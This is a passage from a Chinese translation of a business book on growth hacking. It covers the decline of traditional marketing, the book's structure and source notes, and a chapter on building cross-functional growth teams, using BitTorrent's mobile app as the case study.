Prime（亚马逊金牌服务）等视频服务，更别说还有TiVo等DVR（数字硬盘录像机）技术，“看电视”这个概念（包括电视广告）就像20世纪50年代的斯旺森电视晚餐（冷冻快餐）一样已经过时了。简而言之，电视广告已经变成了一种噪声，甚至完全被人们忽视或屏蔽。\n这一传统营销的危机有多严重呢？最近麦肯锡发布的关于上市软件公司的研究报告指出，营销投资和增长率之间没有任何相关性，完全没有。富尔奈斯营销集团（Fournaise Marketing Group）关于CEO对传统营销看法的研究发现，“73%的CEO认为市场营销人员缺乏业务可信度，对效果的关注不足”，“总是在要钱，却很少能够解释清这笔钱能带来多少额外的业务”。\n增长黑客使企业无须耗费资金开展过时、昂贵且商业价值模糊的营销活动便能取得爆发式增长。它依靠的是设计出让消费者爱上一个产品或一项服务并忍不住向朋友宣传的特性或功能，是提出富有创意的点子，以新的、可衡量的方式吸引用户。这种做法的威力是巨大的。\n抢抓新技术机遇\n消费者发现新内容和新产品的途径在发生着日新月异的变化，而下面这张图充分说明了这一现象。这张图是由风险投资家、增长专家詹姆斯·柯里尔制作的，体现的是不同数字营销渠道的发展趋势。在如今这个网络平台常常一夜之间兴起或衰落的世界，快人一步采用新技术和新网络平台对于企业获得增长先机来说至关重要。\n图前–1 病毒式传播渠道的有效性\n要抓住这些机遇，技术和营销团队需要紧密合作。然而大部分公司在利用新兴平台方面往往受到传统规划、预算制定和组织规章的束缚，行动太慢了。因此当这些公司准备好要采取行动时，它们早就已经丧失了先发优势，而且现在变化的节奏还在不断加快。\n打破传言\n在具体探讨增长团队是什么、怎么搭建之前，我们希望先澄清一些对于增长黑客的误解。首先，这一过程并不是像很多人以为的那样，要帮助企业找到一把“尚方宝剑”。媒体报道了很多广受称赞的增长黑客案例，比如Dropbox的用户推荐计划和Airbnb的Craigslist自动发布程序，这使很多人以为激发增长所需要的仅仅是一次伟大的增长黑客行动。不可否认，寻找像Dropbox的用户推荐计划这样的成功行动的确是增长黑客实施过程的目标，但是大多数情况下，增长是来自一次次小成功的积累。这些小成功就像是储蓄账户里的利息，通过一点点累加实现增长的腾飞。而且，在实现腾飞之后，优秀的增长团队仍会继续开展试验、进行改进。在本书中，我们也将介绍诸如脸谱网、领英、优步、Pinterest和Dropbox等顶尖的增长团队是如何全力以赴不断提出、测试并完善新的增长黑客思路的。\n其次，很多公司认为它们可以直接聘请一个“独行侠”来做增长黑客，这个人有很多神奇的手段可以给公司带来更快的增长。这就大错特错了。这本书要说明的是，增长黑客其实强调的是团队合作，最伟大的成功案例都是来自编程技术、数据分析能力和营销经验的结合，而很少有人能够精通所有这些技能。\n增长黑客也经常被认为是通过设计巧妙的变通手段打破现有网站和社交平台规则的做法。虽然Airbnb广为流传的Craigslist案例很可能让人这么认为，但是打破规则绝非必要步骤，而且在大多数成功的增长案例中并没有这种做法。Airbnb的做法的确是天才之作，但是这样的“旁门左道”并不是增长黑客的核心，而且大部分增长专家都对这个案例嗤之以鼻。Airbnb的真正故事是它的创始人做了大量的试验来寻找增长点，但大部分试验都失败了，而后他们才想出了在Craigslist自动发布房源信息的主意，在成功之后他们仍然继续进行严格的试验并测试了很多完全合乎规则的策略以促进增长。\n当我（肖恩）提出“增长黑客”这个词来为这套方法命名时，我取的是这个词现在所具有的更广泛、更积极的含义，正如它在“黑客空间”（hack space）和“黑客马拉松”（hackathon）等词中的意思，以及脸谱网总部的地址中“黑客路1号”（1Hacker Way）中的含义，即通过合作创造性地提出新想法，解决棘手的问题。而这正是增长黑客的关键特征。\n再次，人们常常认为增长黑客方法的任务就是吸引新用户或新客户。其实，增长团队应当承担更广泛的责任，事实也是如此。它们也需要关注客户激活，也就是说使原有的客户成为更活跃的用户和买家；也需要思考如何使他们成为产品或服务的宣传者。此外，增长团队应关注如何实现用户留存和变现，也就是说使客户成为“回头客”，增加他们为公司创造的收入，从而实现长期持续增长。通常，企业过于关注如何获取新用户和新客户，而这些新用户和新客户往往很快就失去了对企业的兴趣。企业在这方面浪费了太多资金。比如，Econsultancy（数字营销和电子商务咨询公司）2012年的报告指出，在获取更多网络流量方面，每花费92美元，只有1美元将访客转化成实际使用者。\n客户失去兴趣并离开，这种情况发生在网站访客身上时通常称为“跳出”（bounce），而发生在付费客户身上时叫作“流失”（churn）。这正是初创企业和成熟公司面临的最大问题，同样也是能够直接带来增长的机会所在。\n还有人认为增长黑客方法只是一种市场营销。但是正如之前所讲，增长团队也应参与到新产品开发中去，以分析一个产品是否针对目标市场进行了优化，它是否可以提供给用户所谓“不可或缺”的体验，以及它是否能够为合适的用户群提供这一体验。这就是我们常说的产品—市场匹配。在这之后，他们也需要提出丰富的想法以继续推动产品改进，同时对不同的想法排定优先级并进行试验，以确定哪些想法能够带来收入并驱动增长。增长团队甚至也可以在企业的发展战略方面发挥作用。例如，脸谱网的增长团队促成了公司一些战略性收购（如对Octazen的收购）从而推动公司增长。Octazen提供用户任意邮箱通讯录的导入服务。事实上，正是脸谱网的增长团队最早意识到Octazen的技术能够使脸谱网的用户更轻松地邀请联系人加入这一社交网络。总而言之，增长团队应当参与增长的各个阶段和各个方面的努力，无论是实现产品—市场匹配，还是用户获取、激活、留存和变现。至于具体做法，我们将在正文详细说明。\n本书结构\n我们将本书分成了两个部分。第一部分为“方法”，整体介绍增长黑客方法的实施过程，比如如何搭建增长团队，团队需要哪些人、哪些技能，人员如何管理，以及团队如何通过快节奏的增长黑客过程产生并测试新想法，而这一过程又是如何迅速产生强有力的效果的。我们将介绍我（肖恩）和其他增长团队领导者摸索出的这个十分有效的过程。这一过程能够促进顺畅的跨部门合作，以创造增长动力、破解增长奥秘，而且它能够毫不费力地适应并满足任何企业的不同需求。总之，第一部分将阐述增长黑客方法的种种细节，并说明为什么企业应当推行这一方法。\n第二部分为“实战”，介绍具体实施这一方法的一整套详细策略，并分章节阐述如何实现用户的获取、激活、留存和变现，以及如何在增长实现之后维持并加速增长。我们将在这一部分分享来自不同行业、不同公司的增长故事，包括像Pinterest和推特这样的独角兽公司，像Spotify（正版流媒体音乐服务平台）和印象笔记这样的移动应用，像Hubspot和Salesforce.com（一家客户关系管理软件服务提供商）这样的商业软件公司，像好订网（Hotels.com）和Zillow（提供免费房地产估价服务的网站）这样的网络门户，还有像亚马逊和Etsy这样的电商平台，以及像沃尔玛和一家我们虚构的食品百货连锁店这样的实体零售商。我们将介绍它们的增长团队是如何利用不同的增长黑客方法驱动增长的。另外，我们也会介绍一些供增长团队使用的网络工具，比如GrowthHackers.com的“项目”软件，这些工具可以帮助增长团队管理本书第一部分介绍的增长过程。同时，我们也会介绍一些客户调查工具，提供排定试验优先级并记录试验结果的模板，说明增长会议的组织方式，也会针对不同关注点建议一些可以开展的试验，同时，GrowthHackers.com也会不断更新这些信息。\n世界各地不同行业、不同形态、不同规模的公司都在谋求发展出路的过程中面临着巨大的挑战。而增长黑客法提供了一套严密的方法论，帮助企业通过跨职能合作迅速发现增长机遇。它强调以数据驱动的分析和试验。企业在收集数据方面往往投入巨大，而这样的分析和试验能够以系统性的方式帮助企业发挥海量数据的强大作用。我们将通过这本书说明，所有类型的企业都可以实施这些策略，不论是先小范围实施还是要在整个公司层面推行。增长黑客是一个全新的、颠覆性的商业方法论，任何企业、任何公司创始人、任何公司团队领导者，如果他们希望不负众望，希望取得重要成果，希望以有限的营销投入获得最大的回报，希望实现企业目标，就必须采用这个方法论。我们接下来将说明如何实施此方法论。\n免费增值模式（freemium），指用免费服务吸引用户，再通过增值服务将部分免费用户转化为收费用户。——编者注\nEric Ries, “How Dropbox Started as a Minimum Viable Product,” Tech-Crunch, October 19, 2011, techcrunch.com/2011/10/19/dropbox-minimal-viable-product/.\n随后，我又和LogMeIn合作帮助其增长。LogMeIn是由Uproar创始人成立的创新性服务公司。当时，其主要竞争对手GoToMyPC正在大力进行市场推广。在我的帮助下，LogMeIn一举成为市场领导者。这其中有何秘诀？我和工程师们合作，利用技术来达到一个对他们来说不同寻常的目的：设计新的方法以寻找并获得新客户，并从客户身上学习，以优化客户定位、扩大客户群并提高营销投入的效益。\nSteve Jurvetson and Tim Draper, “Viral Marketing: Viral Marketing phenomenon explained,”1997年1月1日，DFJ blog, 2016年9月13日查阅，http://dfj.com/news/article_26.shtml。\nEric M. Jackson,The PalPal Wars: Battles with eBay, the Media, the Mafia, and the Rest of Planet Earth（WND Books: 2012），35-40.\nJosh Elman, “3 Growth Hacks: The Secrets to Driving Massive user Growth.”2013年8月拍摄，2013年8月发布于Youtube，https://www.youtube.com/watch?v=AaMqCWOfA1o。\n“Conversation with Elon Musk,” 网上视频，可汗学院，发布于2013年4月17日，2016年9月13日查阅。\nLeanStartup.co,“Dropbox@StartupLessonsLearnedConference2010,” July 2, 2014,youtube.com/watch?v=y9hg-mUx8sE.\nDouglas MacMillan, “Chasing Facebook’s Next Billion Users,” Bloomberg.com, July 26,2012, bloomberg.com/news/articles/2012-07-25/chasing-facebooks-next-billion-users.\nChamath Palihapitiya，2012年5月13日，对问题“脸谱网增长团队做的哪些决定帮助脸谱网达到了5亿用户的规模”的评论，Quora网站，2016年9月13日查阅，https://www.quora.com/What-are-some-decisions-taken-by-the-Growth-team-at-Facebook-that-helpedFacebook-reach-500-million-users；Yishan Wong，2010年12月12日，对问题“脸谱网是如何将网站翻译成不同语言版本的”的评论，Quora网站，2016年9月13日查阅，https://www.quora.com/What-was-the-process-Facebook-went-about-getting-their-website-translated-intodifferent-languages。\nAndrew Chen, “Growth Hacker is the new VP Marketing,” @andrewchen（博客），2016年9月13日查阅，http://andrewchen.co/ how-to-be-a-growth-hacker-an-Airbnbcraigslist-case-study/。\nMichael Carney，“Brian Chesky: I lived on Cap’n McCain’s and Obama O’s got Airbnb out of debt,” 2013年1月10日，Pando(blog)，2016年9月13日查阅，https://pando.com/2013/01/10/brian-chesky-i-lived-on-capn-mccains-and-obama-os-got-Airbnb-out-of-debt/；Andrew Chen, “Growth Hacker is the new VP Marketing”；Dave Gooden, “How Airbnb Became a Billion Dollar Company,” Dave Gooden(blog)，2011年6月31日，2016年9月13日查阅，http://davegooden.com/2011/05/how-Airbnb-became-a-billion-dollar-company/。\nMatthew S. Olson, Derek van Bever and Seth Verry, “When Growth Stalls,” HarvardBusiness Review, March, 2008.\nAtif Awan “Lessons Learned from Growing LinkedIn to 400m Members,”GrowthHackers.com video of talk, February 18, 2016, https://growthhackers.com/videos/ghconference-16-aatif-awan-head-of-growth-linkedin-lessons-learned-from-growing-linkedin-to400m-members.\nAmir Efrati, “The People Who Matter at Uber,” The Information(blog), August 30, 2016,https://www.theinformation.com/the-people-who-matter-at-Uber.\n通用电气《2013年年度报告》，第6页。\nMichael Porter and James E. Heppelman, “How Smart, Connected Products Are Transforming Companies,” Harvard Business Review, October 2015.\nFred Lambert, “Tesla Is Building a New Growth Team ‘From Scratch’ Ahead of the Model 3 Launch, Hires from Facebook and Uber”,Eletrek(blog), May 9, 2016, electrek.co/2016/05/09/tesla-growth-team-model-3 -launch-hires-facebook-Uber/.\nhttp://original.livestream.com/f8industry/video?clipId=pla_a093cf1f-2d34-4e74-83779e54bc65d8e9.\n作者的采访，2016年2月17日。\n“Internet Users by Country (2016),” Internet Lives Stats website, 2016年9月13日查阅，http://www.internetlivestats.com/internet-users-by-country/。\nAaron Smith, “U.S. Smartphone Use in 2015,” Pew Research Center website, April 1,2015, http://www.pewinternet.org/2015/04/01/us-smartphone-use-in-2015/.\nAnne Freier, “Ad blocker adoption jumped over 34% in 2016,” Mobyaffiliates(blog),June 23, 2016, mobyaffiliates.com/blog/ad-blocker-adoption-jumped-over-34-in-2016/; “Nearly Two in Three Millennials Block Ads,” eMarketer blog, September 21, 2015, emarketer.com/Article/Nearly-Two-Three-Millennials-Block-Ads/1013007.\nNathalie Tadena, “Streaming Video Subscriptions Are Now Just as Popular as DVRs,”Wall Street Journalwebsite, Updated June 27, 2016 12:29 p.m. ET, 2016年9月13日查阅，wsj.com/articles/streaming-video-subscriptions-are-now-just-as-popular-as-dvrs-1467032401。\nEric Kutcher, Olivia Nottebohm, and Kara Sprague, “Grow Fast or Die Slow,” McKinsey &Company website, April 2104, 2016年9月13日查阅，mckinsey.com/industries/high-tech/ourinsights/grow-fast-or-die-slow。\n“73% of CEOs Think Marketers Lack Business Credibility,” Fournaise Marketing Group website, media release, June 15, 2011, 2016年9月13日查阅，fournaisegroup.com/marketers-lackcredibility/。\nGraham Charlton, “Why are conversion rates so low? [infographic],” Econsultancy(blog),October 18, 2012, 2016年9月13日查阅，econsultancy.com/blog/10914-why-are-conversionrates-so-low-infographic/。\nquora.com/What-are-some-decisions-taken-by-the-Growth-team-at-Facebook-thathelped-Facebook-reach-500-million-users.\n第一部分\n 方法\n第一章\n 搭建增长团队\n2012年，当普拉莫德·索克加入BitTorrent成为其新任产品总监时，这家一度发展得如火如荼的创业公司正处于一个岔路口。它提供的计算机软件使用户可以从整个网络搜索并下载文件，但当时软件的增长陷入了停滞。更令人担忧的是，它当时还没有推出产品的移动版，在人们迅速从PC（台式电脑）端转移到移动端的时期，这无疑是一个巨大的劣势。更糟糕的是，YouTube、网飞等流媒体服务在手机和其他设备上占据着用户越来越多的时间和注意力，BitTorrent则被甩在了后面。普拉莫德的加入便是为了打造移动版产品，重启增长。\n这家50人组成的公司采用的是传统的筒仓式组织架构，分为市场部、产品部、工程部和数据科学部。产品团队和工程团队下设小组，负责不同的产品，比如Mac版和Windows版客户端以及刚刚起步的移动版。跟所有类型的企业一样，它的数据团队和市场团队均为这些产品小组服务，产品开发过程完全与市场营销相分离。产品经理会告知市场经理即将发布的新产品或新版本，之后市场团队便负责所有的营销工作，也就是说营销工作完全没有产品研发人员的参与。\n像很多公司一样，BitTorrent的市场团队也只关注这个漏斗的顶端（如图1–1），即提高产品知名度，通过品牌建设、广告和网络营销吸引更多新用户。在大多数软件公司或基于网络的公司，提高网站或App访客的激活和留存数量并不是由市场人员负责，而是由产品和工程团队负责，他们致力于开发能让用户爱上产品的功能。而这两个群体之间几乎不存在任何合作，他们各自专注于各自的重点工作，几乎没有什么互动。有时候他们甚至都不在一栋楼里，甚至不在一个国家办公。\n图1–1 客户漏斗与典型部门权责划分\n按照这样的组织分工，当BitTorrent的移动应用开发完成之后，市场团队制定了一个发布方案，像往常一样，这个方案包含了一系列传统的营销活动，并且重点放在了社交媒体、公关和付费获客推广上。App本身做得很好，营销方案也不错，但是用户增长仍然非常缓慢。\n普拉莫德决定让营销团队招募一个专门的产品营销经理（PMM）来帮助促进用户增长。产品营销经理经常被称为公司内部“客户的诉求传达者”，他们致力于了解客户的需求和喜好，常常开展客户访问、调查或关注群体动向，帮助改进信息传达方式，以使营销活动更具吸引力，并能更有效地传达产品的价值。有的公司也会让产品营销经理参与产品开发，比如通过开展调研发现值得考虑的新功能，有时也会让他们协助产品测试。\n安娜贝尔·萨特菲尔德是一位经验丰富的产品营销经理，她加入了BirTorrent的市场团队协助新的移动App的用户增长。除了关注产品知名度和获客工作外，她还要求和产品团队一起合作，从漏斗的其他环节（包括用户留存和变现）驱动增长，而不是仅仅将工作局限在漏斗的顶端。市场总监同意了她的要求，但前提是她必须先专心开展获客计划并且达成市场团队制定的目标。\n然而在做了一些市场调研和用户行为数据分析之后，她发现了与市场总监的要求相矛盾的情况：很多最佳的增长机会似乎都蕴藏在漏斗的下游。例如，她了解到很多App用户都没有升级到付费的专业版，于是她做了一项调查，询问那些没有升级的用户为什么不升级。如果团队能够使更多用户升级到专业版，这将给公司带来可观的收入，而这可能比吸引更多用户下载App更重要。在看到调查结果之后，她清楚地意识到最有可能成功的增长策略不是只关注用户群的扩大，也要最大限度地发挥现有用户的价值。\n她把这一发现告诉了产品团队，心想他们或许可以一起寻找改进App的方式。但是她的这一举动让产品团队有些措手不及，因为这是头一次有市场人员给他们提供这样的信息。但是普拉莫德非常满意，他坚信应当以数据驱动的方式进行产品开发。他马上告诉安娜贝尔放手去做，继续从用户调研中获取产品洞察，并越过组织框架将这些洞察传递给产品团队。\n安娜贝尔的一个调研发现让产品团队十分惊讶，而且给公司带来了迅速的收入增长。产品团队对于为何很多用户没有升级到专业版App有很多猜测，但是看到用户对安娜贝尔提出的问题的回复之后，他们大吃一惊。出现频率最高的回答是什么呢？是用户完全不知道专业版的存在。产品团队感到难以置信，他们以为他们已经对免费版的用户进行了大力的专业版推广，但显然他们失败了，连最活跃的用户都没有注意到专业版的存在。于是团队马上决定在App的主屏上增加一个非常突出的升级按钮，不可思议的是，这一个简单的改变就使每日升级收入获得了92%的增长。这个改变的成本几乎为零，执行起来几乎不需要时间（从讨论调研数据到部署按钮只用了几天时间），却马上带来了显著的成效。如果没有用户的反馈，他们也许永远都想不出这个办法。\n另一个成果也值得一提，安娜贝尔和普拉莫德称之为“爱的增长法”（love hack）。为寻找每日App下载量上升或下降的原因，安娜贝尔对用户数据进行分析，从中发现了一个明显的规律。他们的App只能在谷歌商店里下载，她发现每当商店里App评论区排在前面的是负面评价时，日下载量就会下降。她试着将好评置顶，马上就看到了下载量的增加。于是她和普拉莫德决定在用户下载第一个种子文件后就鼓励他们写评论，因为这时他们已经了解到这个App是多么好用，而且他们二人也认为这应该是用户对App最满意也最有可能给好评的时候。他们要求工程师编写了一个请求代码，在用户下载了第一个种子文件后请求就会以弹窗的形式出现，然后他们做了一个试验来验证这个假设。可想而知，好评开始如潮水般涌来。基于这个试验的结果，他们开始向所有新用户推送这个请求弹窗，结果，四星和五星好评数增加了900%，下载量也大幅上升。安娜贝尔也由此建立起了她的威信，不久之后就有工程师主动找到她询问：“你还有其他想法吗？我们还可以做些什么？”\n遗憾的是，市场和产品团队很少能够像这样通力合作。通常情况下，产品团队负责打造产品，也负责产品更新，比如改进注册体验或增加新功能。团队会确定一个产品改进的时间表，通常称为“路线图”。产品改进的某个想法如果没有包含在事先确定的路线图里，往往在推进的时候就会受阻。有时是因为要完成计划中的产品改进所需要的时间已经非常紧张了，有时是因为提出的想法太粗糙，难度太大，也太费时间，因此成本太高，而提出想法的人并没有考虑到这些因素。有的情况下，产品团队也可能认为提出的要求与产品战略愿景不相符（也可能是上述不同原因的叠加）。\n即使你不在技术公司工作，你可能也十分了解不同部门之间的这种紧张关系，比如市场团队不理会销售人员的建议，或者研发团队拒绝市场团队提出的设计新产品原型的提议。这是以部门划分职责的筒仓式结构的主要问题之一，也是为什么增长团队必须包括不同专业、不同部门的人员，我们稍后也会详细说明这一点。正如BitTorrent团队很快认识到的，最好的想法往往产生于这种跨职能的合作，这也是为何跨职能合作是增长黑客过程的一个根本特征。\n打破筒仓\n接连不断的成功让BitTorrent移动团队大受鼓舞，每一个人都开始提出可以测试的想法。他们测试的其中一个想法只有那些拥有无私精神的技术人员才能想到：自动关闭应用以节省手机电量。移动团队在对免费版App的“超级用户”（那些频繁使用App但还没有升级到专业版的人）进行专项调查的时候发现了这个增长机会。调查发现这些用户的一个主要痛点是由于高强度使用造成的手机电量迅速流失。于是，工程师很快提出了一个想法：打造一个专属于专业版的功能，当App检测到用户手机电量只剩不到35%时便自动关闭耗电的后台文件传输。他们在免费版App里推广这一功能，当用户电量不足时，App便会提示他们专业版提供这个功能，吸引他们马上升级。这个新功能十分受用户欢迎，也使公司收入增加了47%。\n接二连三的成功也在整个公司流传开来。安娜贝尔正式从市场部调到了移动团队，直接向普拉莫德汇报工作，而且她的头衔后来也改成了高级产品增长经理。同时，其他项目的工程师也惊讶于移动团队的一次次成功，甚至有两位资深工程师为了加入这个以增长为导向的、高效运转的团队而离开了他们本来的团队。安娜贝尔说：“通过跟我们的工程师交谈，我们发现这不仅是因为我们的团队看起来很团结友爱，更重要的是他们认同我们这种数据驱动的方式。”\n随着团队不断取得成功，他们也越来越重视数据分析（数据分析工作由数据团队的一个同事负责）。他们依靠数据分析开展试验并分析试验结果。数据分析师和工程师一起共事，确保他们在分析用户对试验的反应时跟踪的是合适的、有用的数据，并根据这些数据提供最有意义的报告。数据分析师掌握足够的技能，他知道什么时候能够判断试验的成败。之后他便与团队协作，分析试验结果并计划后续试验。随着团队对数据分析的依赖不断加深，最后这位分析师也像安娜贝尔一样作为全职员工加入了团队。\n这一以数据驱动增长和产品开发的方式取得的巨大成功促使BitTorrent的高管决定加大对数据科学的投资并招募更多数据分析人才。同时，随着移动团队增长故事的流传，其他产品团队也开始更频繁地采用数据分析，也更紧密地和数据团队合作开展试验，寻找增长思路。\n移动团队后来又提出了其他几十个具有重大影响力的产品改进创意，在实施增长黑客方法两年半的时间里使产品下载量达到了1亿次。在移动App任务完成后，公司对团队进行了重组，安排他们负责公司其他重要的产品。这一支小小的团队给这个之前增长遇阻的公司带来了不容低估的影响。他们的工作不仅使BitTorrent的总收入在一年内增加了300%，或许更为重要的是，这个团队彻底颠覆了BitTorrent的企业文化，使之从受传统营销和筒仓束缚的文化转变为一个合作型文化，无论是市场人员还是数据分析师，抑或是工程师和高管，每一个人都围绕着这个快节奏、强调合作的增长黑客过程开展工作。回忆起这一增长过程在整个公司的传播和蔓延，安娜贝尔说：“我最喜欢的两个时刻，一是看到我们的老技术主管在‘Palooza’（BitTorrent对其定期举行的黑客马拉松的称呼）上提出一个增长试验建议的时候，二是跟以前的一个同事见面，他告诉我他想加入我的团队一起开展这个工作的时候。他现在也成了增长黑客的‘宣传大使’。”\n然而，这种合作方式在各种类型、各种规模的公司里都很罕见。公司的不同业务部门通常都是彼此孤立的筒仓，很少交流、共享信息或者开展合作。这种组织结构在过去多年来一直广受诟病。麦肯锡的一份报告指出，筒仓式结构最致命的一个问题就是它会放缓企业创新的步伐、阻碍增长。作为本书的两位作者，我们一致认为，“对于创新力来说，在系统内部开展合作的能力比个人才能更加重要”。但是麦肯锡的一份调查发现，“虽然80%的高管都承认跨越部门界限进行有效的知识分享对于增长而言至关重要，但只有25%的高管认为他们的公司做到了这一点”。\n同样地，哈佛商学院的一群教授进行了一项关于业务部门之间沟通的研究，他们在报告中指出，业务部门之间的互动之少令他们“十分诧异”。更令人惊讶的是，“在同一战略业务单元、职能或办公室的两个人比不同业务单元、职能或办公室的两个人互动的频率高1 000倍。也就是说，跨越界限的互动少得可怜”。\n西北大学凯洛格管理学院的兰杰·古拉提教授是筒仓问题专家。他指出，部门之间缺乏沟通会阻碍以客户为中心的产品开发和营销——随着技术和社交媒体的推动，甚至要求企业持续不断地与客户进行更具实质性的互动，从而使以客户为中心的产品开发和营销方式显得越发重要。简言之，工程师和产品设计师有能力找到满足客户需求和喜好的方式，但是他们往往并不知道客户需要什么、想要什么。古拉提在他的一份高管调查报告中指出，2/3的高管都认识到未来10年以客户为中心的产品开发应当是重中之重，但是他的研究发现，“企业的知识和技能孤立地存在于这种组织筒仓中，不同部门的人员难以跨越这些内部界限、充分利用企业资源，以便为客户提供他们真正需要并愿意付费购买的产品”。\n搭建跨职能的增长团队能够打破这种壁垒。跨职能团队不仅能够促进并加速产品、工程、数据和市场部门之间的合作，并且能够激励团队成员更多地了解并理解其他成员的视角及他们的工作。建立增长团队或许是公司战略需要，或者是为了某个具体项目或计划的推进。那么，如何搭建增长团队呢？我们接下来将给出具体步骤。\n人员构成\n增长团队里应当有对企业战略和目标有深刻了解的人，有能够进行数据分析的人，也要有能够对产品的设计、功能或营销方式进行改动并通过编程测试这些改动的工程师。当然，不同公司、不同产品的增长团队具体构成也不同。团队的规模各异，因此职责范围也各不相同。它可以是四五个人组成的小团队，也可以像领英的团队那样有上百个人。不论规模大小，增长团队都应当由以下角色构成（不一定包括下列所有角色）。\n增长负责人\n每一个增长团队都需要一个领导者，就像部队里的营长，既管理团队又能脚踏实地地参与到想法的提出和试验过程中。增长负责人会确定试验的流程和节奏，并监测团队是否完成了目标任务。增长团队一般每周开一次例会，由增长负责人主持会议（我们稍后也会说明如何组织会议）。\n不论专业或背景如何，增长负责人在团队里都扮演着管理者兼产品负责人兼数据科学家的角色。他们的一个主要职责就是选定核心关注点以及团队的工作目标和时间表。我们在接下来几章也会充分阐明，围绕一个主要目标开展试验对于优化结果来说至关重要。增长负责人可以确定一个月度、季度甚至年度关注点，比如使更多用户从免费版产品升级到高级版，或者明确某个产品的新营销渠道中哪一个是最优的。之后增长负责人就要确保团队在这个轨道上开展工作，而不会盲目跟进对既定目标没有意义的想法。对于这些想法，应存档留到目标调整时使用，届时，这些想法就可以用于新目标的实现。\n增长负责人也要确保团队采用适合既定的增长目标的指标来衡量并改进结果。经常出现的情况是，市场和产品团队没有系统性地跟踪关键用户行为数据，而这样的数据能够帮助企业发现有益的改进思路，或者能够使企业发现用户活跃度下降或者完全弃用产品的早期迹象。很多公司把太多的注意力放在纸面上很好看但并不能体现用户或收入真正增长的“面子指标”上，比如网站访问量。我们将在第三章详细介绍如何选择合适的指标。\n所有的增长负责人都应具备一些基本的技能：能够熟练进行数据分析、精通或熟悉产品管理（即开发与发布产品的过程），以及了解如何设计并开展试验。每一个增长负责人也都必须熟知促进用户增长的方法以及团队所负责产品或服务的用法。例如，一个社交网络的增长负责人应当了解病毒式的口碑效应和网络效应（即加入的人数越多，社交网络的价值越大）的原理，许多社交产品正是依靠这两个效应发展起来的。增长负责人也应当有相关的行业或产品知识，比如，一家网上零售商的增长负责人应该对购物车优化、产品推广、定价和营销策略有敏锐的把握。出色的领导力也是必要的，它能够使团队专注于目标任务，即使面对一次又一次的试验失败（这再正常不过了）时，增长负责人也应能激励团队加快试验节奏。走进死胡同、试验没有定论或者彻头彻尾的失败都是增长试验的常态。但是一个优秀的增长负责人能够使团队保持热情，而且能够为团队继续开展试验保驾护航，使团队在试验失败时不必遭受不必要的审查或者来自管理层的压力。\n增长负责人这一角色并不需要最佳职业背景。现在有的人以此为专业，但大多数人都是从工程、产品管理、数据科学或市场营销等其他专业领域转到这一岗位的。在上述任一领域享有专长的人都可能是不错的增长负责人候选人，因为他们都能够在增长黑客过程中发挥各自的优势。对于创业公司，尤其是创业初期的公司来说，创始人常常要扮演增长负责人的角色。也许有的创始人不直接管理增长团队，但是他们也应当任命一个增长负责人并且让他/她直接向自己汇报。在规模较大的公司，可能存在一个或多个增长团队，那么增长负责人应当由掌管团队工作的高管任命，并向该高管汇报。\n增长负责人的工作也许听上去令人生畏且任务太过繁重，但是我们将在接下来的几章介绍一些用于排定试验优先级、跟踪和分析试验结果的工具和方法，在掌握了这些工具和方法之后，这个过程便能够得到高效的管理。\n产品经理\n每个公司产品开发团队的组织方式各有不同，这会影响派到增长团队的开发人员，也可能会决定增长团队在公司组织架构里的位置，我们稍后将阐述这个问题。通常来说，产品经理负责监督产品及其功能的实现过程。正如风险投资家本·霍洛维茨所言，“一个好的产品经理就是产品的CEO”。\n产品经理的角色其实起源于消费品行业，最早由宝洁设立。最初，这个角色的名称是“品牌经理”，直到今天很多公司仍在使用这一名称。这个职位通常属于市场部门，因为其职责就是帮助公司更好地理解并满足客户的需求。正如产品管理专家马丁·埃里克森所写的那样，这个角色将企业决策尽可能与客户拉近，使产品经理成为公司内部客户诉求的传达者。\n由于企业规模不同，产品经理的职能可能由其他员工负责，而在创业公司，特别是初创的公司，这一角色可能由创始人承担。但是在规模更大的公司，产品管理内部可能会分为几层，从产品经理、产品总监到产品副总裁或首席产品官。而派驻到增长团队的产品管理人员的层级可能各有不同，但是在很多软件公司，往往由增长团队所负责的产品对应的产品经理加入团队，并向产品总负责人汇报，而这个总负责人经常是产品副总裁。我们稍后会进行更详细的阐述。\n软件工程师\n为产品功能、移动界面和网页写代码的人可以说是增长团队的主力。然而他们往往被排除在构想过程之外，因为他们通常忙于公司新产品或新功能的开发。或者他们只是一味地听命于产品和业务团队，落实他们提出的任何想法。这不仅会削弱公司最有能力也是最宝贵人才的士气，也会阻碍想法的提出，因为这使工程师的创造力和在新技术方面的专长无法得以发挥，从而可能错过增长良机。前面讲到，在BitTorrent，工程师提出的开发节电功能的想法带来了无法估量的价值。增长黑客的精髓就是源自软件开发和设计的黑客精神，也就是利用新的技术手段解决问题，如果没有软件工程师的参与，增长团队就不会完整。\n营销专员\n当然，有一些增长团队是没有专门的营销人员的，但是我们认为营销专员的参与能够帮助团队取得最优结果。工程和营销这两个专业之间的碰撞能够极大地激发新思路的产生。基于不同类型的企业或者产品，团队所需要的营销能力也各不相同。例如，一个致力于扩大读者群的内容增长团队显然需要一个内容营销专员。比如在摩根·布朗担任COO（首席运营官）的英曼（Inman，一家房地产行业杂志社），增长团队里有一位邮件营销总监，因为邮件营销是这家公司客户获取、留存和变现的主要渠道。而有的公司可能更依赖搜索引擎优化，所以会有这个领域的一位营销专员加入增长团队。团队也有可能有几个营销专员，分别负责不同的领域。营销人员也可能只是在短时间内加入团队开展他们所擅长的工作，在目标实现之后便离开。\n数据分析师\n增长团队的另一个必要技能是精通客户数据的收集、整理与深入精细分析，并从中汲取试验灵感。团队里不一定要有全职分析师，可以有一位专门的分析师在处理公司其他工作的同时与增长团队合作。BitTorrent的增长团队一开始就是这样。但是如果公司有能力聘任一位全职分析师，当然再好不过了。\n团队的数据分析师需要懂得如何确保试验的设计严密且在统计上有效，懂得如何获取不同来源的客户和业务数据并将这些数据结合在一起分析用户行为，并且能够迅速整理试验结果并从中提取结论。团队所开展的试验的复杂程度不同，因而在有的情况下这一角色可以由市场或工程团队的人担任，因为这两个领域都涉及一定程度的数据分析工作。而技术性更强的公司则同时需要一位擅长试验报告的分析师和一位擅长深挖数据的数据科学家。\n最基本的一点是，数据分析工作不能交给只知道用谷歌分析（Google 